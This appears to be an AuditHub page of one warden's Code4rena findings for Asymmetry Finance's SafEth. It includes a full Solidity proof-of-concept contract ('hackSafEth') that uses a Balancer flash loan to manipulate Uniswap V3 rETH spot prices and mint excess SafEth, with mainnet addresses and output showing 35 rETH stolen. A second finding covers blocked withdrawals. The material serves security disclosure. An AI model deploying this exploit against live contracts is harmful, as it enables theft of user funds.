Asymmetry contest - Lirios's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 218/246

Findings: 2

Award: $8.41

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L177-L183 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L228-L242

Vulnerability details

Impact

When staking into SafEth, it deposits a proportional amount to all derivatives. The Reth contract uses UniswapV3 swap to process deposits when the rETH deposit pool cannot process deposits, which currently is the case.

It checks the pool price via he sqrtPriceX96 value, which is a spot price and can be manipulated.

Proof of Concept

Simple price manipulation will have limited impact on the minted shares because all calculations are done relatively. However, the prices used in the calculation can be manipulated to return different values in different stages of the deposit process. This makes it possible to min more SafEth then intended.

Before deposit, ethPerDerivative is used to calculate the underlyingValue, and after deposit, it is used to calculate the relative stake.

If we can have ethPerDerivative give different price between the first and second call, it is possible to manipulate this to our advantage. With UniswapV3 liquidity is split in ticks. This makes it possible to manipulate the pool liquidity to get this behaviour.

Steps to take:

  1. Flashloan rEth form Balancer
  2. Swap large amount of rEth for almost all WEth in the pool, changing price of rEth/Weth in pool
  3. Provide liquidity in a tick with very small price
  4. We stake in SafEth with an amount slightly bigger then the amount of liquidity we provided in step 3 ethPerDerivative on start of deposit at the low price. since there is enough liquidity in our tick to do the swap, slippage will be within the 1%. Because we have swapped a fraction more then the liquidity in our tick, price will come back to the already existing ticks with liquidity. This will up the price to normal levels and cause the last ethPerDerivative call. This will cause the derivativeReceivedEthValue to be too high. This will mint a larger amount of SafEth
  5. Swap back the Eth for rEth on Uniswap to set pool prices to normal
  6. unstake SafEth, since we have received more tokens then we should have, this will return more Eth then we have staked.
  7. Swap back the Eth for rEth on Uniswap
  8. Payback balancer rEth flashloan

To test this, a script is created to perform the above steps. This demonstrates that without tweaking it can steal 35 rEth from the contracts.

POC Script output:
start hack, request Balancer flashloan receiveFlashLoan:, 0xae78736cd615f374d3085123a210448e74fc6393 2000000000000000000000 Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 2000 , 0 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Swap large sum of rEth in pool, to manipulate price Our Balances: ------------------------------------------------ WETH = 1461 , 180344884900705678 rEth = 626 , 586958405328445150 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Add Liquidity to the Uniswap pool at a low tick ** Swap in pool so it has the right amounts Our Balances: ------------------------------------------------ WETH = 1436 , 380344884900705678 rEth = 446 , 726260350324573759 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Stake 200 ether in SafEth contract, rEth price will be different before and after deposit Tokens are swapped at manipulated low rate, but swap itself makes price go back to normal range. derivativeReceivedEthValue will be calculated at normal price after the swap. Reth.poolPrice = 367 / 1000 Reth.poolPrice = 367 / 1000 Reth.poolPrice = 1038 / 1000 Our Balances: ------------------------------------------------ WETH = 1236 , 380344884900705678 rEth = 446 , 726260350324573759 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Burn Uniswap position and collect Our Balances: ------------------------------------------------ WETH = 1327 , 380416402969104563 rEth = 446 , 726260350324573759 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Swap back Weth for rEth to get the Uniswap pool back to normal range Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 1693 , 773265463537795300 SafEth = 410 , 365783268992516893 rEth to payback = 2000 , 0 ================================================ ** Unstake from SafEth and deposit received Eth in Weth Our Balances: ------------------------------------------------ WETH = 366 , 402555180615870275 rEth = 1693 , 773265463537795300 SafEth = 0 , 0 rEth to payback = 2000 , 0 ================================================ ** Swap the rest of Weth to rEth to payback flashloan ** Payback flashloan 2000000000000000000000 rEth All paid back, final balance: Our Balances: ------------------------------------------------ WETH = 0 , 0 rEth = 35 , 782985562448270762 SafEth = 0 , 0 rEth to payback = 0 , 0 ================================================
Sources

Contracts/hackSafEth.sol

pragma solidity ^0.8.13;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IWETH.sol";
import "./interfaces/uniswap/ISwapRouter.sol";
import "./interfaces/uniswap/IUniswapV3Factory.sol";
import "./interfaces/uniswap/IUniswapV3Pool.sol";
import "./interfaces/rocketpool/RocketStorageInterface.sol";


import "hardhat/console.sol";

interface ISafEth is IERC20 {
    function stake() external payable;
    function unstake(uint256 _safEthAmount) external;    
}


interface IBalancer {
    function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData)
        external;
}

contract hackSafEth {
    
    address public constant ROCKET_STORAGE_ADDRESS =
        0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46;
    address public constant W_ETH_ADDRESS =
        0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant UNISWAP_ROUTER =
        0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address public constant UNI_V3_FACTORY =
        0x1F98431c8aD98523631AE4a59f267346ea31F984;
    address private constant BALANCER_VAULT_ADDRESS = 
        0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address private constant UNISWAP_RET_WETH_POOL = 
        0xa4e0faA58465A2D369aa21B3e42d43374c6F9613;
    address private constant RETH_TOKEN = 
        0xae78736Cd615f374D3085123A210448E74Fc6393;

    uint256 rEthToPayback;    

    ISafEth safEth ;
    IERC20 rEth ;    

    constructor(ISafEth safEth_) {
        safEth = safEth_; 
        rEth = IERC20(RETH_TOKEN);
    }


    function start() public {

        console.log('start hack, request Balancer flashloan'); 
        IBalancer vault = IBalancer(BALANCER_VAULT_ADDRESS);
        address[] memory tokens = new address[](1);
        uint256[] memory amounts = new uint256[](1);
        uint256 want = 2000 ether;
        if (rEth.balanceOf(BALANCER_VAULT_ADDRESS) < want){
            want = rEth.balanceOf(BALANCER_VAULT_ADDRESS);
        }

        tokens[0] = address(rEth);
        amounts[0] = want;
        vault.flashLoan(address(this), tokens, amounts, "test");        
    }


    function showBalances() public {
        uint256 wb = IWETH(W_ETH_ADDRESS).balanceOf(address(this));
        uint256 rb = rEth.balanceOf(address(this));
        uint256 sb = safEth.balanceOf(address(this));
        console.log(' ');
        console.log('Our Balances:');
        console.log('------------------------------------------------');
        console.log('WETH            = ',wb / 1e18,',',wb % 1e18);
        console.log('rEth            = ',rb / 1e18,',',rb % 1e18);
        console.log('SafEth          = ',sb / 1e18,',',sb % 1e18);
        console.log('rEth to payback = ',rEthToPayback / 1e18,',',rEthToPayback % 1e18);
        console.log('================================================');
        console.log(' ');
    }


    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        require(msg.sender == BALANCER_VAULT_ADDRESS);
        console.log('receiveFlashLoan:, ',address(tokens[0]), amounts[0]);
        rEthToPayback = amounts[0] + feeAmounts[0];
        showBalances();

        // Swap large sum of rEth in pool, to manipulate price
        console.log('** Swap large sum of rEth in pool, to manipulate price');
        tokens[0].approve(UNISWAP_ROUTER, tokens[0].balanceOf(address(this)));
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: address(tokens[0]),
                tokenOut: W_ETH_ADDRESS,
                fee: 500,
                recipient: address(this),
                amountIn: 13400 ether,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });

        uint256 amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);
        showBalances();

        /**  choose some arbitrary tick with a low price to add liquidity to 
        I did not bother to calculate the optimal tick and amount to use
        */
        console.log('** Add Liquidity to the Uniswap pool at a low tick');
        int24 tick = -10000;
        uint128  mintAmount = 300000 ether; 
        IUniswapV3Pool(UNISWAP_RET_WETH_POOL).mint(address(this) ,
            int24(tick),
            int24(tick+10),
            mintAmount,
            new bytes(0x0)
        );

        /**
        swap right amount in pool that the 200 ether deposit amount matches what is left in our tick
        because it it a POC, I did not take the effort to calculate the ideal value but this is close enough.         
        */
        console.log('** Swap in pool so it has the right amounts');
        IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this)));
        params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: W_ETH_ADDRESS,
                tokenOut: address(tokens[0]),
                fee: 500,
                recipient: address(this),
                amountIn: 24.8 ether,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params); 
        showBalances();


        /**
        Stake a maximum amount of 200 ether
        */
        console.log('** Stake 200 ether in SafEth contract, rEth price will be different before and after deposit');
        console.log('   Tokens are swapped at manipulated low rate, but swap itself makes price go back to normal range.');
        console.log('   derivativeReceivedEthValue will be calculated at normal price after the swap.');
        uint256 stakeAmount = 200 ether;
        IWETH(W_ETH_ADDRESS).withdraw(stakeAmount);
        safEth.stake{value: stakeAmount}();
        showBalances();


        console.log('** Burn Uniswap position and collect');
        (uint256 amount0Requested,uint256 amount1Requested) = IUniswapV3Pool(UNISWAP_RET_WETH_POOL).burn(
            int24(tick),
            int24(tick+10),
            mintAmount
        );            
        IUniswapV3Pool(UNISWAP_RET_WETH_POOL).collect(
            address(this),
            int24(tick),
            int24(tick+10),
            uint128(amount0Requested),
            uint128(amount1Requested)
        );
        showBalances();



        console.log('** Swap back Weth for rEth to get the Uniswap pool back to normal range');
        IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this)));
        params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: W_ETH_ADDRESS,
                tokenOut: address(tokens[0]),
                fee: 500,
                recipient: address(this),
                amountIn: IWETH(W_ETH_ADDRESS).balanceOf(address(this)),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);
        showBalances();



        console.log('** Unstake from SafEth and deposit received Eth in Weth');
        safEth.unstake(safEth.balanceOf(address(this)));
        IWETH(W_ETH_ADDRESS).deposit{value: address(this).balance}();
        
        showBalances();

        console.log('** Swap the rest of Weth to rEth to payback flashloan');
        IWETH(W_ETH_ADDRESS).approve(UNISWAP_ROUTER, IWETH(W_ETH_ADDRESS).balanceOf(address(this)));
        params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: W_ETH_ADDRESS,
                tokenOut: address(tokens[0]),
                fee: 500,
                recipient: address(this),
                amountIn: IWETH(W_ETH_ADDRESS).balanceOf(address(this)),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        amountOut = ISwapRouter(UNISWAP_ROUTER).exactInputSingle(params);
       
        console.log('** Payback flashloan ',rEthToPayback,' rEth');
        rEth.transfer(BALANCER_VAULT_ADDRESS,rEthToPayback);
        rEthToPayback = 0;

        console.log('All paid back, final balance:');
        showBalances();

    }

  function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata data
    ) external {
        require (msg.sender == UNISWAP_RET_WETH_POOL,'not from pool');
        require(amount0Owed <= rEth.balanceOf(address(this)),'too much');
        require(amount1Owed == 0,'want to pay only rEth');        
        rEth.transfer(UNISWAP_RET_WETH_POOL,amount0Owed);
    }
    

    receive() external payable {        
    }


    fallback() external {
    }


}

This is added to the SafEth-Integration.test.ts test in the following way

diff --git a/test/SafEth-Integration.test.ts b/test/SafEth-Integration.test.ts
index 4f69464..fc40ca6 100644
--- a/test/SafEth-Integration.test.ts
+++ b/test/SafEth-Integration.test.ts
@@ -10,6 +10,7 @@ import {
 } from "./helpers/integrationHelpers";
 import { getLatestContract } from "./helpers/upgradeHelpers";
 import { BigNumber } from "ethers";
+import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";

 // These tests are intended to run in-order.
 // Together they form a single integration test simulating real-world usage
@@ -75,6 +76,32 @@ describe("SafEth Integration Test", function () {
     expect(derivativeCount).eq(supportedDerivatives.length);
   });

+
+  it("Can remove funds via price manipulation", async function () {
+    let adminAccount: SignerWithAddress;
+    let hackerAccount: SignerWithAddress;
+    const SafEth = await getLatestContract(strategyContractAddress, "SafEth");
+    const accounts = await ethers.getSigners();
+    adminAccount  = accounts[0];
+    hackerAccount = accounts[1];
+
+    let supply = await SafEth.totalSupply();
+
+    // stake 200 ether to have something in the pool to steal
+    const depositAmount = ethers.utils.parseEther("200");
+    await SafEth.stake({ value: depositAmount });
+    await SafEth.stake({ value: depositAmount });
+
+    // run hack to steal rEth via flashloan prica manipulation
+    const hackSafEthFactory = await ethers.getContractFactory("hackSafEth");
+    const hackSafEth = await hackSafEthFactory.deploy(SafEth.address);
+    await hackSafEth.start();
+
+
+  });
+
+
+
   it("Should stake a random amount 3 times for each user", async function () {
     await randomStakes(
       strategyContractAddress,

Tools Used

manual review, hardhat

Use a Twap oracle for prices instead of spot value.

#0 - c4-pre-sort

2023-04-04T11:38:48Z

0xSorryNotSorry marked the issue as duplicate of #601

#1 - c4-judge

2023-04-21T16:11:48Z

Picodes marked the issue as duplicate of #1125

#2 - c4-judge

2023-04-21T16:14:20Z

Picodes marked the issue as satisfactory

Awards

8.2654 USDC - $8.27

Labels

bug
2 (Med Risk)
low quality report
satisfactory
edited-by-warden
duplicate-770

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L113-L119

Vulnerability details

Impact

SafEth supports multiple derivative contracts, initially those are SfxEth, WstEth and rEth. When unstaking, a proportional amount is withdrawn from each derivative.

If for any reason one of the derivatives reverts on withdraw, it will block the withdrawal of all derivatives.

Proof of Concept

SafEth.sol#L113-L119 loops through all known derivative contracts to withdraw the requesed share. If any of those withdraw calls fails, it will also lock funds for other derivatives, without an option to exclude the non working derivative. So if for example WstEth withdraw fails, it will be impossible to withdraw SfxEth and rEth too. While it seems unlikely that a withdrawal will fail, there could be some scenarios where this could happen.

  • rEth token is burned for eth on withdrawal. It has a Totalsupply of 216k rEth, but only 534 Eth in the contract. If many people burn their rEth, the contract could have low/no liquidity. This would prevent users from burning rEth and blocking unstaking of SafEth.
  • stEth contract is pausable. If any vulnerability or exploit is found, it could be stopped, blocking transfers. With stEth stopped, unstaking of SafEth will be impossible.
  • FrxEth is using Curve on withdraw. If liquidity on curve is low, this could cause withdrawals of large amounts to give problems

Tools Used

Manual review

The contract should have an option for emergency withdrawal of derivatives by admin or an emergency option to exclude derivatives completely.

#0 - c4-pre-sort

2023-04-03T06:57:30Z

0xSorryNotSorry marked the issue as low quality report

#1 - c4-pre-sort

2023-04-04T20:13:34Z

0xSorryNotSorry marked the issue as duplicate of #770

#2 - c4-judge

2023-04-24T18:28:03Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter